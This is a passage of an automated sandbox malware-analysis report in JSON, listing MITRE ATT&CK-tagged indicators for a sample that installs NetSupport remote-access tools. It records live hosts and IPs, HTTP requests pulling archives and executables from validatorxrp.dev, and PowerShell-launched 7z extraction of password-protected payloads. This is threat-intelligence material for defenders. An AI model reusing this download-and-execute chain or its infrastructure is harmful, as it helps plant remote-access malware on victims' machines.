\"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetTimeFormatA\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-901","level":"informative","mitre_attack_id":"T1124","name":"Able to retrieve date formats supported by the local system (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetDiskFreeSpaceW@KERNEL32.DLL at 00000000-00006340-16389-153-010C7EC8","id":"stream-37","level":"informative","mitre_attack_id":"T1497.001","name":"Contains ability to query volume size","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Pattern Matching","description":"YARA signature matched on embedded PE in file \"PCICL32.DLL\"","id":"yara-140","level":"informative","mitre_attack_id":"T1027.009","name":"YARA signature match – Embedded PE executable","origin":"YARA Signature","relevance":2,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetClipboardFormatNameA\" (Indicator: \"GetClipboardFormatName\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-188","level":"informative","mitre_attack_id":"T1115","name":"Contains ability to access clipboard data (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"RemoveDirectoryA\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-308","level":"informative","mitre_attack_id":"T1070.004","name":"Contains ability to delete files/directories (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","id":"registry-36","level":"informative","mitre_attack_id":"T1012","name":"Queries sensitive IE security settings","origin":"Registry Access","relevance":8,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Dropped file \"%LOCALAPPDATA%\\Nfservice\\at.7z\" has high entropy 7.99993\n Dropped file \"%LOCALAPPDATA%\\Nfservice\\lnk.7z\" has high entropy 7.79903","id":"binary-60","level":"suspicious","mitre_attack_id":"T1027","name":"Dropped file has high entropy (likely encrypted/compressed content)","origin":"Binary File","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00004744-00000C2C-1533493380\")","id":"string-739","level":"informative","mitre_attack_id":"T1082","name":"Able to retrieve geographical location information","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$3d","id":"string-249","level":"informative","mitre_attack_id":"T1070.006","name":"Contains ability to retrieve file time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$3e","id":"registry-130","level":"informative","mitre_attack_id":"T1012","name":"Queries TCP/IP interface details","origin":"Registry Access","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$3f","id":"string-225","level":"informative","mitre_attack_id":"T1134.001","name":"Contains ability to impersonate another user on the local machine (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"7z.dll\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"7z.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"neservice.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"remcmdstub.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"TCCTL32.DLL\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"HTCTL32.DLL\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"PCICHEK.DLL\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH","id":"static-154","level":"informative","name":"File contains dynamic base/NX flags","origin":"Static Parser","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Observed system executable string:\"CFSFAppDataRoamingMICROS~1WindowsfLhGSTARTM~1ProgramsWINDOW~1WINDOW~1.LNKC:\\Users\\HAPUBWS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnkdesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\\WindowsSystem32WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe%systemroot%\\system32\\windowspowershell\\v1.0\\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\\WindowsSystem32WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe%systemroot%\\system32\\windowspowershell\\v1.0\\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS\" [Source: 5B18SBUM9VWE1WPZTZMP.temp]\n Observed system executable string:\"%WINDIR%\\system32\\windowspowershell\\v1.0\\powershell_ise.exe\" [Source: 00000000-00004744-00000C2E-2708100088]","id":"string-170","level":"informative","name":"Possibly uses system binaries (Windows LOLbins)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"NetUserGetInfo(%ls\\%ls) took %d ms and ret x%x\" (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"NetUserGetInfo\" (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"NetUserEnum\" (Indicator: \"NetUserEnum\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-112","level":"informative","mitre_attack_id":"T1087.001","name":"Contains ability to retrieve information about user accounts on a server (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found scripted User-Agent mozilla/5.0 (windows nt; windows nt 10.0; en-us) windowspowershell/5.1.16299.248","id":"network-103","level":"informative","mitre_attack_id":"T1071.001","name":"User-Agent string indicates scripted web access","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00002888.00000000.163893.02DB0000.00000004.mdmp, 00000000-00002888.00000001.165813.02DB0000.00000004.mdmp, 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-320","level":"informative","mitre_attack_id":"T1564.003","name":"Contains ability to pass information to a window procedure (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$40","id":"api-22","level":"informative","mitre_attack_id":"T1129","name":"Fails to load modules at runtime","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"neservice.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched32.dll\" at 71EF0000\n \"neservice.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 71E70000","id":"module-2","level":"informative","mitre_attack_id":"T1129","name":"Loads rich edit control libraries","origin":"Loaded Module","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found string \"GetClipboardData\" (Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-915","level":"informative","mitre_attack_id":"T1115","name":"Able to capture drag-drop file operations","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"GetCommandLineW@KERNEL32.DLL at 00000000-00006340-16389-942-010EE858","id":"stream-118","level":"suspicious","mitre_attack_id":"T1106","name":"Contains ability to retrieve the command-line string for the current process","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$41","id":"string-906","level":"informative","mitre_attack_id":"T1057","name":"Able to list processes on remote desktop session host","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00004744)\n \"powershell.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00004744)\n \"powershell.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00004744)","id":"api-294","level":"informative","mitre_attack_id":"T1082","name":"Attempts to call APIs to gather system and hardware detail","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"GetForegroundWindow\" (UID: 00000000-00004744)","id":"api-142","level":"informative","mitre_attack_id":"T1010","name":"Calls an API possibly used to retrieve a handle to the foreground window","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-534","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to read files (API string)","origin":"File/Memory","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-168","level":"informative","mitre_attack_id":"T1134.002","name":"Contains ability to create process with token (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"TCP traffic to 87.120.93.69 on port 80 is sent without HTTP header\n TCP traffic to 87.120.93.69 on port 443 is sent without HTTP header\n TCP traffic to 87.120.93.67 on port 443 is sent without HTTP header","id":"network-23","level":"suspicious","mitre_attack_id":"T1071.001","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-423","level":"informative","mitre_attack_id":"T1074.001","name":"Contains ability to create directories (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"nskbfltr.inf\" has type \"Windows setup INFormation\"","id":"binary-55","level":"informative","mitre_attack_id":"T1105","name":"Drops a Windows setup information (INF) file","origin":"Binary File","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Ransomware/Banking","description":"Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-553","level":"informative","mitre_attack_id":"T1070","name":"Contains ability to modify file system redirection (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"file/memory contains long string(File: \"HTCTL32.DLL\")","id":"string-937","level":"informative","mitre_attack_id":"T1082","name":"Able to gather system information (.NET)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" with parameter %LOCALAPPDATA%\\Nfservice (UID: 00000000-00004744)\n \"7z.exe\" with parameter .\\ns (UID: 00000000-00000400)\n \"neservice.exe\" with parameter %LOCALAPPDATA%\\NetSupport (UID: 00000000-00002888)\n \"neservice.exe\" with parameter %LOCALAPPDATA%\\NetSupport\\NetSupport Manager (UID: 00000000-00002888)","id":"api-318","level":"informative","mitre_attack_id":"T1074.001","name":"Creates directory on disk","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-317","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve address of exported function from a DLL (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"FindNextFileW@KERNEL32.DLL at 00000000-00006340-16389-130-010C5AC7","id":"stream-89","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to enumerate files inside a directory","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"WaitForSingleObject@KERNEL32.DLL at 00000000-00006340-16389-409-010F3B50","id":"stream-103","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to delay the execution of current thread","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-537","level":"informative","mitre_attack_id":"T1071","name":"Contains ability to create a new HTTP request (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002888.00000001.165813.009B2000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-427","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve a module handle (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-223","level":"informative","mitre_attack_id":"T1016","name":"Contains ability to free the memory used by network management functions (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$42","id":"api-125","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get system version information","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006340-16389-845-010C885D","id":"stream-2","level":"informative","mitre_attack_id":"T1124","name":"Contains ability to query machine time","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"OpenProcessToken@ADVAPI32.DLL at 00000000-00006340-16389-179-010C7F89\n OpenProcessToken@ADVAPI32.DLL at 00000000-00006340-16389-592-010CD5D1","id":"stream-31","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to retrieve/open a process","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found registry modification API: \"RegCreateKeyTransactedA\" in \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExA\" in \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyA\" in \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\"","id":"string-307","level":"informative","mitre_attack_id":"T1112","name":"Able to create/load registry keys (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%LOCALAPPDATA%\\Nfservice\\7z.exe\" x at.7z -pppp -aoa -y\" - (UID: 00000000-00004744)\n \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%LOCALAPPDATA%\\Nfservice\\neservice.exe\"\" - (UID: 00000000-00004744)\n \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%LOCALAPPDATA%\\Nfservice\\7z.exe\" x %LOCALAPPDATA%\\Nfservice\\lnk.7z -pppp -aoa -y \"-oC:\\Users\\HAPU\" - (UID: 00000000-00004744)","id":"api-128","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to create a process","origin":"API Call","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"jakkakaskakasj.com\"\n \"jasjdpoekkqwda.com\"\n \"validatorxrp.dev\"","id":"network-51","level":"informative","mitre_attack_id":"T1071.004","name":"Queries DNS server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","id":"registry-20","level":"informative","mitre_attack_id":"T1012","name":"Reads Windows Trust Settings","origin":"Registry Access","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"QueryDosDeviceA\" (Indicator: \"QueryDosDevice\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-227","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve information about MS-DOS device names (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"$43","id":"string-226","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"GET /at.7z HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: validatorxrp.dev\nConnection: Keep-Alive\n\n GET /lnk.7z HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: validatorxrp.dev\n\n GET /7z.exe HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: validatorxrp.dev\n\n GET /7z.dll HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: validatorxrp.dev\n","id":"network-72","level":"informative","mitre_attack_id":"T1071.001","name":"GETs files from a webserver (HTTPS)","origin":"Network Traffic","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"FindFirstFileExA\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-83","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to enumerate files on disk (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-131","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Destruction","description":"Found reference to API \"LockWorkStation\" (Indicator: \"LockWorkStation\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-221","level":"informative","mitre_attack_id":"T1499","name":"Contains ability to lock the workstation's display (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"file/memory contains long string with (Indicator: \"Out-Null\"; File: \"48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin\")\n Found string \"New-Item -ItemType Directory -Force -Path $hahas | Out-Null\" (Indicator: \"Out-Null\"; File: \"48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin\")","id":"string-373","level":"informative","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"SetFileSecurityW@ADVAPI32.DLL at 00000000-00006340-16389-1143-010D006B","id":"stream-117","level":"suspicious","mitre_attack_id":"T1134.001","name":"Contains ability to obtains specified information about the security of a file or directory","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$44","id":"string-661","level":"informative","mitre_attack_id":"T1497.002","name":"Able to identify virtual environment by using user activity (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004744)","id":"api-124","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get product type","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$45","id":"registry-25","level":"informative","mitre_attack_id":"T1082","name":"Reads information about supported languages","origin":"Registry Access","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"WinHttpCloseHandle\" (Indicator: \"WinHttpCloseHandle\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp\")\n Found reference to API \"WinHttpGetProxyForUrl\" (Indicator: \"WinHttpGetProxyForUrl\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp\")\n Found reference to API \"WinHttpGetIEProxyConfigForCurrentUser\" (Indicator: \"WinHttpGetIEProxyConfigForCurrentUser\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp\")","id":"string-323","level":"informative","mitre_attack_id":"T1071.001","name":"Contains reference to Windows HTTP services (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-539","level":"informative","mitre_attack_id":"T1071.001","name":"Contains reference to Windows internet services (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network 